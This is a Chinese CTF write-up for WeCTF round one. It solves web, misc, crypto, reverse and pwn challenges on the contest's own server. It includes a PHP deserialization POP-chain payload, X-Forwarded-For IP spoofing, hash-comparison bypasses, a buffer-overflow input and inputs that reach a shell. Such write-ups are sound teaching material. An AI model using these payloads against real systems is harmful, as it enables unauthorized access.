WeCTF第一期wp

web

1.web签到

右键查看源代码即可看到flag

wectf{the_iiiis_flag}

2.easy01

进入网页后为

you need get a name!

那就用get方式为name随便传一个参数

http://119.23.236.68:63006/easy/index.php?name=wectf

得到flag

wectf{1e2e3c4a5d6c123d456eaec456789f}

3.medium01

php代码审计

    999999 and strlen($a)<5)
        {
            echo "wectf{xxxxxxxxxxxxxxx}";
        }
	}
	?>

意思是用get方式为a传参,若a>9999999且a的长度小于5就可以出flag
则用指数计数法,传参1e10

http://119.23.236.68:63006/web3/index.php?a=1e10

得到flag

wectf{eeeeeeeee_is_low}

4.medium02

php代码审计

  

意思是若cookie中pass的值等于"password"
则将post中的值赋给同名变量
若此时$name变量中的值等于"isnotonly"
则输出flag

由题意
将cookie中pass=password
post数据name=isnotonly

这里用burpsuit和firefox的重发,还有hackbar都试过了,就是不出flag,,
最终用curl成功。。

curl -b "pass=password" -d "name=isnotonly" http://119.23.236.68:63006/web5/index.php

得到flag

wectf{flag_1s_here}

6.easy02

提示

ip禁止访问

则使用X-Forwarded-For伪造本地IP
在用Buipsuit抓包在http请求头中加上

X-Forwarded-For: 127.0.0.1

得到flag

wectf{X_FORWARDED_FOR_is}

8.crazy1

很明显,php反序列化

 value->func1();
        }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag{xxxxxxxxxxxxxxxxx}";
    }
}
class ina
{
        public $value;
        public function __toString()
        {
                $this->value->get_flag();
                return "1";
        }
}
class Call
{
        public $value;
        public function func1()
    {
            $this->value->func2();
    }
}
class Func_m
{
        public $value1;
        public $value2;
        public function __invoke()
        {
                $this->value2 = "flag".$this->value1;
        } 
}
class Func_t
{
        public $value;
        public function __call($func2,$a)
        {
                $func = $this->value;
                $func();
        }
}
error_reporting(0);
highlight_file("source.php");
if(isset($_GET['name'])){
    $name = $_GET['name'];
    if(strlen($name) < 10){
        extract($_POST);
        unserialize($name);
    }
}

?> 

有很多类,要想办法用反序列化后的对象,执行到get_flag()函数

反序列化是利用php的魔术方法,因此反序列化的对象一定要能触发到魔术方法,而此页中的魔术方法就只有__destruct()可以被立即触发,即是程序结束,摧毁对象时。

所以应该从O00O对象开始,O00O对象中的魔术方法是调用func1(),而func1()在Call中,所以将O00O对象的$value变量赋值为Call对象,即可调用到func1()中。

给Call对象的$value赋值为Func_t对象,就可以调用到Func_t对象的__call()方法。

给Func_t对象的$value赋值为Func_m对象,就可以调用到Func_m对象的__invoke方法。

给Func_m对象的$value1赋值为ina对象,就可以调用到ina对象的get_flag()方法。

__cal() 在对象中不可访问方法时调用。

__invoke() 调用函数的方式调用一个对象时的回应方法

__tosring() 当一个对象被当作字符串对待的时候

写脚本来构造序列化结果

 value->func1();
        }
}
class GetFlag
{
    public function get_flag()
    {
        echo "flag{xxxxxxxxxxxxxxxxx}";
    }
}
class ina
{
        public $value;
        public function __toString()
        {
                $this->value->get_flag();
                return "1";
        }
}
class Call
{
        public $value;
        public function func1()
    {
            $this->value->func2();
    }
}
class Func_m
{
        public $value1;
        public $value2;
        public function __invoke()
        {
                $this->value2 = "flag".$this->value1;
        } 	
}
class Func_t
{
        public $value;
        public function __call($func2,$a)
        {
                $func = $this->value;
                $func();
        }
}
$flag=new GetFlag();
$ina=new ina();$ina->value=$flag;
$fm=new Func_m();$fm->value1=$ina;
$ft=new Func_t();$ft->value=$fm;
$call=new Call();$call->value=$ft;
$o=new O00O();$o->value=$call;

$ser=serialize($o);
echo $ser;
echo "
"; unserialize($ser); ?>

得到序列化结果

O:4:“O00O”:1:{s:5:“value”;O:4:“Call”:1:{s:5:“value”;O:6:“Func_t”:1:{s:5:“value”;O:6:“Func_m”:2:{s:6:“value1”;O:3:“ina”:1:{s:5:“value”;O:7:“GetFlag”:0:{}}s:6:“value2”;N;}}}}

然后get方式传参name=123(长度小于10即可)
post方式传参name=O:4:“O00O”:1:{s:5:“value”;O:4:“Call”:1:{s:5:“value”;O:6:“Func_t”:1:{s:5:“value”;O:6:“Func_m”:2:{s:6:“value1”;O:3:“ina”:1:{s:5:“value”;O:7:“GetFlag”:0:{}}s:6:“value2”;N;}}}}

得到flag

flag{unserialize_php_O00O}

10.easy03

提示

there is nothing

F12查看http头,得到flag

flag:wectf{header_must_be_win}

11.medium03

php代码审计

 

意思是要get传参name,username;post传参password。

要让username!=password
然后当username的sha1值等于password的sha1值
则对name值url解码,当解码后的值等于’wectf!@#$wectf’,则出flag

数组的sha1值相等

用hackbar将’wectf!@#$wectf’urlencode得到

wectf!%40%23%24wectf

则构造url
http://119.23.236.68:63006/medium/index.php?name=wectf!%40%23%24wectf&username[]=123
post内容为
password[]=1
得到flag

Flag: wectf{e2e123acef456789d132f456c13}

misc

1.rot13

内容为

flag = "xxxxxxxxxxxxxxxx"
print flag.encode('rot13')
#jrpgs{E0g13_fb_rnfl_jr1p0zr_gb_jrpgs}

明显是rot13加密
使用CTFcrack工具rot13解密
得到

wectf{R0t13_so_easy_we1c0me_to_wectf}

2.贝斯家族

4D515A464D32544549354E444F574C4B4B4A35465556525950424D57594F4B474A565744514D535A4C415944323D3D3D

贝斯家族就是Base系列
尝试各种base解码

先base16解码,再base32,再base64
得到flag

wectf{b4se_1b_E2_6a}

3.babypcap

流量分析题
先找是否有post数据,没有发现

直接在字节流查找字符串wectf
在tcp.stream eq 1中找到
flag

wectf{4maz1n9_pcap}

4.ascii

77656374667b315f346d5f66346b655f08080808085f666c34677d

使用Converter工具hex转文本
得到

wectf{1_4m_f4ke_ _fl4g}

提交不对,发现有空格有点奇怪,返回去查看空格对应的16进制值为08
翻ascii表为退格

很自然想到应该删掉前面五格
得到结果

wectf{1_4m__fl4g}

提交不对,再删掉一个下划线

wectf{1_4m_fl4g}

提交正确

8.这是个啥东西

用UE打开,发现有IHDR头,则是PNG文件

在前面补上png文件头
89 50 4E 47 0D 0A 1A 0A

可以看到图片,上面就是flag

手写的,猜吧,那个是9不是q
flag为

wectf{pn9_h4s_n0_he4d}

crypto

1.签到

进群在公告发现flag

wectf{this_is_format_of_flag}

2.老套的md5

明文:wectf{ab?def?hijklm?opq}
密文:84e7ab5946fb4c5d94ed891c42d5fac6

写一个脚本遍历所有小写字母


得到flag

wectf{abzdefhhijklmlopq}

4.babyRSA

from Crypto.Util.number import bytes_to_long
flag = raw_input("flag : ")
tmp = bytes_to_long(flag)
n = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e = 3
c = pow(tmp, e, n)
if c == 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269:
    print "you get it!"
else:
    print "Too Young, Too simple!"

当e=3时,可以使用低加密指数攻击
直接开三次方
脚本为

import gmpy

N = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659

e = 3

c = 1495572858946434740124351882099461657145759077753704214627609673423129831012766355967962871807110976347627163520955975614562262871102943487213224386685367602432775269

i=0

while 1:

	if(gmpy.root(c+i*N, 3)[1]==1):

		 print gmpy.root(c+i*N, 3)

		 break

	i=i+1

得到明文

11435869524715331151590280324873867075011875887523448189

然后十进制转为文本
脚本为

import libnum
n=11435869524715331151590280324873867075011875887523448189
print libnum.n2s(n)

得到flag

wectf{rs4_e=3_n0T_s4fE}

5.guess

密文:U2FsdGVkX19x8Dq5FttochQw/lMz8C5gFD6PQjKZvtxBjb0Sab8cIqXqBpMne5vx

猜测是base64或者aes
使用aes解密得到flag
http://tool.oschina.net/encrypt

wectf{wectf_weCTF_WeCTF}

7.cxk=xcp

python代码审计

lowercase = "abcdefghijklnmopqrstuvqxyz"
uppercase = "ABCDEFGHIJKLMNOPQRSTUVQXYZ"
digest = "0123456789"
plaintext = "what are you doing? you can join crypt group. flag is wectf{xxxxxxxxxxxxx}"
ciphertext = ""
for i in range(len(plaintext)):
    if plaintext[i] in lowercase:
        enc = ord('a') + (ord('z') - ord(plaintext[i]))%26
    elif plaintext[i] in uppercase:
        enc = ord('A') + (ord('Z') - ord(plaintext[i]))%26
    elif plaintext[i] in digest:
        enc = ord('0') + (ord('9') - ord(plaintext[i]))%10
    else:
        enc = ord(plaintext[i])
    ciphertext += chr(enc)
print(ciphertext)
## ciphertext : wszg ziv blf wlrmt? blf xzm qlrm xibkg tilfk. uozt rh wvxgu{hzev_h5ev_nv}

其意思是
w不变

对小写字母:
219-明文=密文

明文=219-密文

数字 :
105-明文=密文

明文=105-密文

另外很明显下面的wvxgu{hzev_h5ev_nv}就是flag的密文
可以写脚本解密

#include
#include

int main(void)
{
	char s[]="vxgu{hzev_h5ev_nv}";
	int i;
	for(i=0;i='a'&&s[i]<='z')
			s[i]=219-s[i];
	puts(s);
	return 0;
}

得到flag

wectf{save_s5ve_me}

reverse

1.xor_linux

拖进ida后F5查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int i; // [rsp+1Ch] [rbp-44h]
  char s1[32]; // [rsp+20h] [rbp-40h]
  char v6[24]; // [rsp+40h] [rbp-20h]
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  printf("flag : ", argv, envp, argv);
  __isoc99_scanf("%s", v6);
  for ( i = 0; i <= 17; ++i )
    s1[i] = v6[i] ^ 1;
  if ( !strncmp(s1, "vdbugzy1s^r1^d5rx|", '\x12') )
  {
    puts("Corrent! you get it!");
    printf("flag is %s\n", v6);
  }
  else
  {
    puts("error!");
  }
  return 0;
}

其意思是将输入的内容每一位与1异或,
若异或结果与"vdbugzy1s^r1^d5rx|"相等则输出flag

那么将"vdbugzy1s^r1^d5rx|"再与1异或就可以得到原来的内容
脚本

#include
#include
int main(void)
{
	char s[]="vdbugzy1s^r1^d5rx|";
	int i;
	
	for(i=0;i

得到flag

wectf{x0r_s0_e4sy}

2.cmp

拖到ida里面没有发现主函数
拖到od里面,右键中文搜索引擎,智能搜索

找到flag

flag{412accbb6e9ffbeef39e317d0862b9ab}

3.assembly

push    rbp      			压入
mov     rbp, rsp
sub     rsp, 10h
mov     [rbp+var_4], 0  		[rbp+var_4]=0
jmp     short s1			跳转 s1

s2:
mov     eax, [rbp+var_4]		eax=[rbp+var_4]=0
cdqe
movzx   eax, s[rax]			eax=s[rax]=s[0]=52H
add     eax, 14h			eax=eax+14h=52H+14H=66H
mov     edx, eax			edx=eax=66H
mov     eax, [rbp+var_4]		eax=[rbp+var_4]=0
cdqe
mov     s[rax], dl			s[rax]=dl   s[0]=dl=6
add     [rbp+var_4], 1		[rbp+var_4]=[rbp+var_4]+1=1

s1:
cmp     [rbp+var_4], 25h		0<25H (ZF = 0, PF = 0, CF = 1, SF = 1, OF =0)
jle     short s2
mov     esi, offset s 			esi=s的地址
mov     edi, offset format ; "%s"	edi="%s"的地址
mov     eax, 0			eax=0
call    _printf			
mov     eax, 0
leave
retn

s的数据为:
52 58 4D 53 67 51 22 4F  1C 52 23 4E 52 1C 50 4D
1F 52 1D 4F 23 23 4F 22  50 4F 4E 4F 23 1D 4D 20
21 1c 4d 21 1e 69

汇编指令的意思我都写在每一条的后面了
意思是将s中的每一个元素都加了14H
写脚本
先将空格都换成" 0x"


得到

52,0x58,0x4D,0x53,0x67,0x51,0x22,0x4F,0x1C,0x52,0x23,0x4E,0x52,0x1C,0x50,0x4D,0x1F,0x52,0x1D,0x4F,0x23,0x23,0x4F,0x22,0x50,0x4F,0x4E,0x4F,0x23,0x1D,0x4D,0x20,0x21,0x1c,0x4d,0x21,0x1e,0x69

然后给每个元素+14H


得到10进制明文

102 108 97 103 123 101 54 99 48 102 55 98 102 48 100 97 51 102 49 99 55 55 99 54 100 99 98 99 55 49 97 52 53 48 97 53 50 125

再用Converter工具转为文本
得到flag

flag{e6c0f7bf0da3f1c77c6dcbc71a450a52}

4.base64

拖入ida找到main函数,F5查看源码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char v5; // [rsp+0h] [rbp-210h]
  char s; // [rsp+100h] [rbp-110h]
  unsigned __int64 v7; // [rsp+208h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  memset(&v5, 0, 0x100uLL);
  puts(&::s);
  puts(&byte_400E00);
  puts(&byte_400E68);
  puts(&byte_400ED0);
  puts(&byte_400F38);
  puts(&byte_400FB8);
  puts("Do you know what I'm thinking?");
  __isoc99_scanf("%s", &v5);
  v3 = strlen(&v5);
  sub_4006D6((__int64)&v5, v3, (__int64)&s);
  if ( !strcmp(&s, s2) )
    puts("right");
  else
    puts("wrong");
  return 0LL;
}

意思是输入一个字符串,存在v5中,然后将字符串的长度给v3
经过一个sub_4006D6((__int64)&v5, v3,(__int64)&s)函数,将结果放在s中
然后再比较s和s2的内容,如果相同则输出flag

s2的内容,可以看到是

YlwgY2r2NCb4LSIkMlHyXiQiLyIlMiTwYSYhNSD/LyfxYSMgNW/=

在kali中打开edb,在edb中调试该程序,发现sub_4006D6()执行完成后的结果是一个base64样式的字符串,结合该题题目,可以假设sub_4006D6()是base64加密。
而且在ida中可以看到byte_602080[]数组是存储了’a’-‘z’,‘A’-‘Z’,‘0’-‘9’,’+’,’/'的,是标准的base64可打印字符

然后在ida中打开sub_4006D6()
发现开头有这么一段

  for ( i = 0; i <= 63; ++i )
    --byte_602080[i];

是将byte_602080[]数组中的每一项都-1;

可以判断是将标准的64个可打印字符减1后,进行base64加密,题目提示又是

这个 base64 有点特别

加深判断

则将base64解码脚本中的64个可打印字符-1后进行解码
减1脚本

#include
#include
int main(void)
{
	int i;
	char s[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	
	puts(s);
	for(i=0;i

得到

@ABCDEFGHIJKLMNOPQRSTUVWXY`abcdefghijklmnopqrstuvwxy/012345678*.

解码脚本来源互联网
https://www.cnblogs.com/yejianfei/archive/2013/04/06/3002838.html
将其中的64个可打印字符替换即可
得到

flag{787912e6b3b4c32f651e6b914382e3a9}

6.king

ida查看源码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-F8h]
  char s[112]; // [rsp+10h] [rbp-F0h]
  char dest; // [rsp+80h] [rbp-80h]
  unsigned __int64 v7; // [rsp+E8h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  memset(s, 0, 'd');
  memset(&dest, 0, 'd');
  puts("Enter your message:");
  gets((__int64)s, 0LL);
  strcpy(&dest, s);
  if ( strlen(s) != 32 )
  {
    puts("Wrong\n");
    exit(0);
  }
  for ( i = 0; i < strlen(s); ++i )
  {
    if ( s[i] <= 64 || s[i] > 90 )
    {
      if ( s[i] > 96 && s[i] <= 122 )
        s[i] = (s[i] - 97 + 7) % 26 + 97;
    }
    else
    {
      s[i] = (s[i] - 65 + 7) % 26 + 65;
    }
  }
  if ( !strcmp(s, s2) )
    printf("you can submit flag:wectf{%s}\n", &dest);
  else
    puts("Wrong\n");
  return 0LL;
}

是将输入字符串放在s中,并且长度必须是32位
然后经过一个变换后,将s与s2的内容比较,相同则输出flag

s2的内容为

2k6915l15j7ikmml2i470j1648h79717

变换为

  • 数字字符是原样
  • 大小写字母加密
  • a-s是+7 t-z是-19

则对应的解密

  • h-z是-7 a-g是+19

写脚本解密

#include
#include

int main(void)
{
	int i;
	char s[]="2k6915l15j7ikmml2i470j1648h79717";
	for(i=0;i='a'&&s[i]<='g')
						s[i]+=19;
				else if(s[i]>='h'&&s[i]<='z')
							s[i]-=7;
	}
	puts(s);
	
	return 0;
}

得到

2d6915e15c7bdffe2b470c1648a79717

输入程序得到flag

flag:wectf{2d6915e15c7bdffe2b470c1648a79717}

5.sign_in

先拖进ida,发现无法F5
可以在右边看到几个函数,依次点了一下,发现有一个button1_Click()函数有点意思
该函数有输入,有一个判断,并且输出true和false,和exe程序一致

但是IL真的不好读,用peid打开,看到是c#
拖进dnspy里,可以看到c#源码

private void button1_Click(object sender, EventArgs e)
{
	string text = this.textBox1.Text;
	string key = "flag{fake_flag!}";
	string strA = Form1.AesEncrypt(text, key);
	bool flag = string.Compare(strA, this.cmp) == 0;
	if (flag)
	{
		MessageBox.Show("True", "Right");
	}
	else
	{
		MessageBox.Show("False", "Wrong");
	}
}

该函数将输入内容作为text,将"flag{fake_flag!}"作为key
然后进行aes加密
再将加密结果与this.cmp比较,相同则true
this.cmp可以看到是

Tu4hFzCSRI1fqiEDFgjCHZgjRdPSm1G/L2JYYybXkd0=

然后进入ase加密函数看看

		public static string AesEncrypt(string str, string key)
		{
			bool flag = string.IsNullOrEmpty(str);
			string result;
			if (flag)
			{
				result = null;
			}
			else
			{
				byte[] bytes = Encoding.UTF8.GetBytes(str);
				RijndaelManaged rijndaelManaged = new RijndaelManaged
				{
					Key = Encoding.UTF8.GetBytes(key),
					Mode = CipherMode.ECB,
					Padding = PaddingMode.PKCS7
				};
				ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
				byte[] array = cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length);
				result = Convert.ToBase64String(array, 0, array.Length);
			}
			return result;
		}

可以看到mode为ECB,填充方式为PKCS7

则可以在网站上选择对应的模式和补码方式
http://www.seacha.com/tools/aes.html?src=w9cshCDcIKEgW8T0%2FTYODCdwyXlvMlFSMVmLl8yXEpBECRItaQl3XzD8zYDrSTVIoWEl8%2B7JkFieqkQLzMfcIBlQyBJ%2BtdJywK%2FvmxynSE2gM5c9G6QNXJbxUl1X27pNKfQR3STj3PwcjpfUlXD1b5P7UZieHmiGznYvf8JDD9hngNTwSuAJml5EKiqatt0eKJsTL%2B6KY4AAVTaonPNpbgI4yQzhX6Z8tkVCLN57uMfRuzNbZvvczj2n%2Bv6Nz5k1vddVNtUnK8udxMPwV%2FpZz9qV6kGYUGzigQX5a0idnSKV%2BGsCdS2KRLvvPGyy9BAs&mode=CBC&keylen=128&key=1234567890123456&iv=&bpkcs=&session=fSDhRxF6XWzlzMODOLaw&aes=61a99812913d6e17487b3df336959332&encoding=base64&type=1
密钥即是

flag{fake_flag!}

密文是

Tu4hFzCSRI1fqiEDFgjCHZgjRdPSm1G/L2JYYybXkd0=

得到flag

wectf{welc0mE_To_Csharp}

pwn

1.BOF

ida查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-20h]
  int v5; // [rsp+1Ch] [rbp-4h]

  v5 = 0;
  puts("Welcome to wectf!");
  puts("Do you know BOF??");
  putchar(62);
  __isoc99_scanf("%s", &v4);
  if ( v5 == 1 )
  {
    printf("good job!");
    pwn();
  }
  else
  {
    puts("yeah! good bye!");
  }
  return 0;
}

意思是让输入一个字符串放在v5中,然后如果v4=1的话就输出flag
很明显输入一个很长的字符串,令缓冲区溢出,且使v4=1

可以看到在栈中v4和v5相差了28个字节,v5又是一个int型占4个字节
则构造payload
python -c 'print("a"*28+"\01\00\00\00")'|./wectf_BOF

用nc连接后输入payload可得flag

flag{7ae41cfd-90b0-4276-b359-33799bd9ab64}

2.nc(pwn签到)

ida查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax
  signed int v5; // [rsp+4h] [rbp-1Ch]
  __int64 v6; // [rsp+8h] [rbp-18h]
  __int64 i; // [rsp+10h] [rbp-10h]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = 0LL;
  v5 = 0;
  for ( i = 0LL; ; i += v6 )
  {
    v3 = v5++;
    if ( v3 > 4 )
      break;
    argv = (const char **)&v6;
    __isoc99_scanf(&unk_400780, &v6);
  }
  if ( i == 1311768467463790320LL )
    system("/bin/sh");
  else
    printf("try again.\n", argv);
  return 0;
}

只有五次输入机会,每次输入的值存储在v6,然后i又加上v6
最终当i==1311768467463790320的时候就得到权限
则可以构造输入为
0
0
0
0
1311768467463790320

得到flag

flag{97515fa1-55ab-470c-a435-9cf42cbe5a0c}

你可能感兴趣的:(CTF,WriteUp)